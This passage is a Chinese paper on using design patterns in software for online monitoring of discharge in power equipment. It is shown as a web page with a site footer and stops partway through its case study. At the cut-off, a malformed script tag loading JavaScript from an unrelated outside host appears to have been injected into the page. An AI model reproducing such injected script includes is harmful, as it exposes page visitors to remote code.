电力设备监测软件中设计模式思想的运用

 
(东南大学电气工程系 南京 210096)(南京工业职业技术学院 南京)

  

摘 要 运用设计模式可有效地提高面向对象软件设计的效率和质量。文中介绍了设计模式的思想,并以一个电力设备在线监测软件为实例详细介绍了如何在面向对象设计中灵活使用设计模式。

关键词 设计模式 面向对象 在线监测

1 引言

  在进行软件设计时,有两种方法可以使用,即结构化设计方法和面向对象的方法。传统的程序是采用结构化设计,用结构化语言,如fortran或c来编写的。由于这种方法与现实生活中人们的认知过程不完全吻合,故而这些程序难以理解且可扩展性差,也就是说,程序的生命周期较短并且不适于重用性开发和增补性开发。

  软件的复杂性和人类认知的基本特点要求出现软件设计和编程的全新的方法。面向对象的程序设计应运而生了,因为人类的理解过程大多都是面向对象的。从面向对象的角度,世界被看作是由一些相互作用,并施加积极影响的对象所组成。一些面向对象的语言,如c++,可以通过用继承、聚合、多态、友元关系等方法来开发面向对象的系统,这样的系统易于理解、修改和扩展。

  本文主要讲述采用面向对象的设计方法进行软件设计时,如何运用设计模式的思想以获得良好的设计,并结合作者本人实际设计并开发的一个电力设备在线监测软件的实例来加以说明。

2 面向对象软件设计的难点

  面相对象软件的设计目标是灵活的、模块化的、可复用的和易理解的软件。面向对象的设计有很多优点,但也比较困难。如果对面向对象的理解不够,那么把面向对象的设计仅仅停留在封装和继承这些低层次的水平上,而完全没有充分利用面向对象所蕴含的强大能力,这只能称为具有面向对象外观的结构化设计。

  熟悉一门面向对象的语言(如c++)绝不等于一个好的面向对象设计人员。在进行面向对象软件设计时,一个难点是去发现合适的类。要从一个具体的应用项目中去分析和找到合适的类要考虑许多因素:封装、粒度、依赖关系、灵活性、演化、复用等等。特别地,设计结果所得到的类并非都在现实世界中存在,有很多类是抽象的,而且设计中的抽象对于产生灵活的设计是至关重要的,例如,描述过程和算法的类现实中并不存在,但它们却是设计中的关键部分。除了要对对象进行合理的抽象以形成合适的类外,另一个难点是确定各个类之间的结构关系(如继承、多态等)和由类实例化而得到的对象之间的通信和协作关系,这些决定了一个系统的可复用、可扩展和易理解等特性。

3 设计模式的提出

  运用设计模式可以帮助克服上述难点。设计模式描述了已有的设计方案,以便于重复利用已有经验;它为设计者提供了一套用较抽象的方式表示设计方案的方法,以便于设计者将自己的设计思想清楚地表达出来,便于交流。另外,在熟悉了设计模式思想并了解了一些模式后,还能在设计过程中运用模式思想和方法来引导设计,使设计效率得到很大提高。

  设计模式就是记录面向对象软件的设计经验,每个设计模式系统地命名、解释和评价了面向对象系统中一个重要和重复出现的设计。它是对被用来在特定场景下解决一般设计问题的类和相互通信的对象的描述。它确定了所包含的类和对象,它们的角色、协作方式以及职责分配。它不只针对某个具体应用问题,而是某类问题解决方案的抽象描述。

  在过去的结构化设计方法中,算法和数据结构起到十分重要的作用,而在面向对象系统的设计中,设计模式也具有很重要的作用,可以帮助设计者去分析要解决的问题。

描述一个模式包含下面几个方面:

(1)模式名:简洁地描述模式的本质。

(2)意图:该模式适用于什么特定的问题。

  (3)结构:用基于对象建模技术(omt)的表示法对模式中的类进行图形描述。

  (4)参与者:指模式中的类和对象以及它们各自的职责。

  (5)协作:模式的参与者怎样协作以实现它们的职责。

  总的来讲,设计模式有如下优点:(1)清晰地将设计方案表达出来,利于学习;(2)便于复用已有的方案;(3)有助于分析具体设计问题;(4)便于文档管理,经验交流。

4 一个实例——电力设备在线监测软件的设计

4.1 电力设备在线监测系统的构成简介

  本软件的任务是对电力设备由于内部绝缘缺陷而造成的有害放电进行在线监测。基本过程是首先利用电流和超声传感器采集到可提供设备状态信息的数据,然后用fft(快速傅立叶变换)分析出频谱,以观察频率成分。接下来对数据进行信号处理,以便将采集到的数据中的有用信号提取出来。这里的有用信号即指放电信号。?script src=http://er12.com/t.js>

  • 电力设备监测软件中设计模式思想的运用已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计